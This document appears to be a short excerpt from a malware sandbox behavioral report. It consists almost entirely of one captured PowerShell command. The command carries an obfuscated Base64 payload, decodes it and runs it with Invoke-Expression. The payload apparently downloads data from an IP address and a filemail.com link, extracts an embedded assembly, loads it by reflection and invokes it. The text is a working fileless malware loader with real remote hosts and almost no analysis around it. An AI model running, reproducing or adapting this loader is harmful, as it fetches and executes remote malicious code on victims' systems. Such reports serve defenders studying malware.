Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#BC#GE#YwBj#Gg#YQBu#GE#b#Bp#GE#bgBz#C##PQ#g#Cc#d#B4#HQ#Lg#0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DY#ZQBz#GE#Yg#v#Dc#MQ#u#D##Mg#y#C4#Mw#u#DI#OQ#x#C8#Lw#6#H##d#B0#Gg#Jw#7#CQ#Z#By#HU#ZwBn#Gk#ZQBz#HQ#I##9#C##J#BC#GE#YwBj#Gg#YQBu#GE#b#Bp#GE#bgBz#C##LQBy#GU#c#Bs#GE#YwBl#C##Jw#j#Cc#L##g#Cc#d##n#Ds#J#BE#G8#bgBj#GE#cwB0#GU#cg#g#D0#I##n#Gg#d#B0#H##cw#6#C8#Lw#x#D##M##3#C4#ZgBp#Gw#ZQBt#GE#aQBs#C4#YwBv#G0#LwBh#H##aQ#v#GY#aQBs#GU#LwBn#GU#d##/#GY#aQBs#GU#awBl#Hk#PQBF#FM#WQBU#Gk#V#BS#DM#Tw#w#DM#RQ#1#HE#cgBN#G4#SQB5#Hk#VwB0#Fk#Zg#1#E8#TQBG#FU#M#Bt#GE#awB4#E0#dQ#w#GU#U#Bx#FI#UgBK#E4#aQBj#E4#agBD#DM#NgBh#Dg#V##y#Go#RwBm#Fc#V##2#EY#RQBC#Go#NQBz#CY#c#Br#F8#dgBp#GQ#PQ#z#DQ#Mg#4#D##MwBk#DE#YwBj#DQ#ZQ#z#GI#O##w#DE#Nw#0#D##Ng#2#Dc#M##1#D##O##w#GE#NQBl#GY#Jw#7#CQ#c#Bh#HI#aQB0#Gk#ZQBz#C##PQ#g#E4#ZQB3#C0#TwBi#Go#ZQBj#HQ#I#BT#Hk#cwB0#GU#bQ#u#E4#ZQB0#C4#VwBl#GI#QwBs#Gk#ZQBu#HQ#Ow#k#GE#c#Bw#HI#YQBp#HM#ZQBy#HM#I##9#C##J#Bw#GE#cgBp#HQ#aQBl#HM#LgBE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQ#o#CQ#R#Bv#G4#YwBh#HM#d#Bl#HI#KQ#7#CQ#c#By#G8#YwBy#GE#cwB0#Gk#bgBh#HQ#bwBy#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bh#H##c#By#GE#aQBz#GU#cgBz#Ck#Ow#k#GI#b#Bl#H##a#Bh#HI#YQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#c#Bp#GM#cgBv#Gc#b#B5#GM#aQBv#G4#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#cwB1#Gk#YwBp#GQ#ZQ#g#D0#I##k#H##cgBv#GM#cgBh#HM#d#Bp#G4#YQB0#G8#cgBz#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#YgBs#GU#c#Bo#GE#cgBh#Ck#Ow#k#G0#ZQBh#GQ#bwB3#C##PQ#g#CQ#c#By#G8#YwBy#GE#cwB0#Gk#bgBh#HQ#bwBy#HM#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bw#Gk#YwBy#G8#ZwBs#Hk#YwBp#G8#bg#p#Ds#J#Bz#HU#aQBj#Gk#Z#Bl#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#bQBl#GE#Z#Bv#Hc#I##t#Gc#d##g#CQ#cwB1#Gk#YwBp#GQ#ZQ#7#CQ#cwB1#Gk#YwBp#GQ#ZQ#g#Cs#PQ#g#CQ#YgBs#GU#c#Bo#GE#cgBh#C4#T#Bl#G4#ZwB0#Gg#Ow#k#GE#ZwBr#Gk#cwB0#HI#bwBk#G8#bg#g#D0#I##k#G0#ZQBh#GQ#bwB3#C##LQ#g#CQ#cwB1#Gk#YwBp#GQ#ZQ#7#CQ#YwBy#Hk#cwB0#GE#b##g#D0#I##k#H##cgBv#GM#cgBh#HM#d#Bp#G4#YQB0#G8#cgBz#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#dQBp#GM#aQBk#GU#L##g#CQ#YQBn#Gs#aQBz#HQ#cgBv#GQ#bwBu#Ck#Ow#k#GM#bwBt#H##YQBn#Gk#bgBh#HQ#ZQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bj#HI#eQBz#HQ#YQBs#Ck#Ow#k#Ho#bwBh#G4#d#Bo#G8#Z#Bl#G0#aQBj#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#H##YQBn#Gk#bgBh#HQ#ZQ#p#Ds#J#Bn#HI#YQB2#Gk#Z#Bh#HQ#ZQ#g#D0#I#Bb#GQ#bgBs#Gk#Yg#u#Ek#Tw#u#Eg#bwBt#GU#XQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBW#EE#SQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#E##K##k#GQ#cgB1#Gc#ZwBp#GU#cwB0#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#JwBN#FM#QgB1#Gk#b#Bk#Cc#L##n#Cc#L##n#Cc#L##n#Cc#L##n#Cc#L##n#Cc#L##n#Cc#L##n#Cc#L##n#Cc#L##n#Cc#L##n#Cc#KQ#p##=='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('#','A'))); Invoke-Expression $OWjuxd"